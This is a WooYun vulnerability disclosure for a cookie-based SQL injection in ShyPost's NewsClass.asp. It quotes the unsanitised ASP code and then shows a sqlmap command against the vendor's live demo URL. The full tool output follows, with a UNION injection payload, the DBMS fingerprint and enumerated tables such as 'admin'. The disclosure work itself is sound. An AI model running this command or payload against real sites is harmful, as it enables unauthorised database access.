当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076909

漏洞标题:shypost 注入2

相关厂商:ShyPost

漏洞作者: ra0mb1er

提交时间:2014-09-22 12:28

修复时间:2014-12-21 12:30

公开时间:2014-12-21 12:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-22: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-12-21: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

NewsClass.asp 文件

详细说明:

NewsClass.asp 108-120

page=clng(request("page"))	Set rs=Server.CreateObject("ADODB.RecordSet") if BigClass<>"" and SmallClass <>"" then sql="select * from news where BigClassName='"&BigClass&"' and SmallClassName='"&SmallClass&"' order by AddDate desc" rs.Open sql,conn,1,1 elseif BigClass<>"" then sql="select * from news where BigClassName='"&BigClass&"' order by AddDate desc" rs.Open sql,conn,1,1 end if if rs.eof and rs.bof then response.Write("暂时没有记录") else %>

33-35

BigClass=request("BigClass") SmallClass=request("SmallClass") %>

参数引入没有过滤 虽然默认过滤 get post 但是没有对cookie进行过滤 J:\sqlmap>python sqlmap.py -u "http://www.shypost.com/demo/newsclass.asp" --cookie "bigclass=1" --level 2 --dbms=access --tables deomo 测试地址

漏洞证明:

]}2U}X{CH{F25A1Q]QK~]CM.jpg


J:\sqlmap>python sqlmap.py -u "http://www.shypost.com/demo/newsclass.asp" --cook
ie "bigclass=1" --level 2 --dbms=access --tables
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20140918}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:04:46
[12:04:47] [INFO] testing connection to the target URL
[12:04:51] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[12:05:11] [INFO] target URL is stable
[12:05:11] [INFO] testing if Cookie parameter 'bigclass' is dynamic
[12:05:27] [WARNING] Cookie parameter 'bigclass' does not appear dynamic
[12:05:31] [WARNING] heuristic (basic) test shows that Cookie parameter 'bigclas
s' might not be injectable
[12:05:31] [INFO] testing for SQL injection on Cookie parameter 'bigclass'
do you want to include all tests for 'Microsoft Access' extending provided level
(2) and risk (1)? [Y/n]
[12:06:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:06:13] [WARNING] reflective value(s) found and filtering out
[12:08:57] [INFO] testing 'Generic boolean-based blind - Parameter replace (orig
inal value)'
[12:09:03] [INFO] testing 'Microsoft Access boolean-based blind - Parameter repl
ace (original value)'
[12:09:46] [INFO] testing 'Microsoft Access boolean-based blind - GROUP BY and O
RDER BY clauses'
[12:09:54] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[12:14:30] [INFO] target URL appears to be UNION injectable with 10 columns
[12:14:59] [INFO] Cookie parameter 'bigclass' is 'Generic UNION query (NULL) - 1
to 10 columns' injectable
Cookie parameter 'bigclass' is vulnerable. Do you want to keep testing the other
s (if any)? [y/N]
sqlmap identified the following injection points with a total of 139 HTTP(s) req
uests:
---
Place: Cookie
Parameter: bigclass
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: bigclass=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NUL
L,CHR(113)&CHR(105)&CHR(102)&CHR(103)&CHR(113)&CHR(83)&CHR(67)&CHR(98)&CHR(109)&
CHR(112)&CHR(83)&CHR(83)&CHR(80)&CHR(69)&CHR(65)&CHR(113)&CHR(104)&CHR(98)&CHR(1
07)&CHR(113),NULL FROM MSysAccessObjects%16
---
[12:17:33] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[12:17:33] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[12:17:35] [WARNING] something went wrong with full UNION technique (could be be
cause of limitation on retrieved number of entries). Falling back to partial UNI
ON technique
[12:17:42] [WARNING] the SQL query provided does not return any output
[12:17:42] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast'
[12:17:42] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q]
[12:17:46] [INFO] checking table existence using items from 'J:\sqlmap\txt\commo
n-tables.txt'
[12:17:46] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 10
[12:17:48] [INFO] starting 10 threads
[12:18:00] [INFO] retrieved: product
[12:18:04] [INFO] retrieved: admin
[12:18:16] [INFO] tried 80/3161 items (3%)
[12:18:16] [INFO] waiting for threads to finish (Ctrl+C was pressed)
[12:18:22] [WARNING] user aborted during table existence check. sqlmap will disp
lay partial output
Database: Microsoft_Access_masterdb
[3 tables]
+---------+
| admin |
| news |
| product |
+---------+
[12:18:22] [INFO] fetched data logged to text files under 'C:\Users\c\.sqlmap\ou
tput\www.shypost.com'
[*] shutting down at 12:18:22
J:\sqlmap>

修复方案:

版权声明:转载请注明来源 ra0mb1er@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝